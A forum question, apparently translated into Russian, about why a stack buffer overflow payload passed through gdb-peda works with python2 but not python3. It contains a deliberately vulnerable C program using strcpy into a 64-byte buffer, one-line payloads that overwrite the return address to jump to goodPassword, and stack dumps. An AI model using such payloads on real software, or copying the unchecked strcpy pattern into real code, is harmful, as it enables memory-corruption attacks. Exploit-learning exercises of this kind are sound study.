Как правильно использовать python3 с помощью gdb (peda) - PullRequest
0 голосов
/ 18 июня 2019

Я пытаюсь использовать простое переполнение буфера с помощью gdb и peda, я просто хочу переписать обратный адрес с адресом функции программы, я могу легко сделать это с python2, но это кажется невозможным сpython3, обратный адрес не переписывается с хорошим адресом.

Согласно проведенному мною исследованию, кодирование является причиной этой проблемы, поскольку python2 использует ascii, а python3 использует utf-8.На этом сайте я нашел кое-что, что мне не помогло: /

Вот код уязвимого приложения:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, adress : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

Вот эксплойт, который я использую в python2

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

Вот эксплойт, который я использую в python3, и стек присваивает strcpy:

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

Я ожидаю такой вывод:

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

, который отлично работает и запускаетфункция хорошего пароля.Спасибо за помощь

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...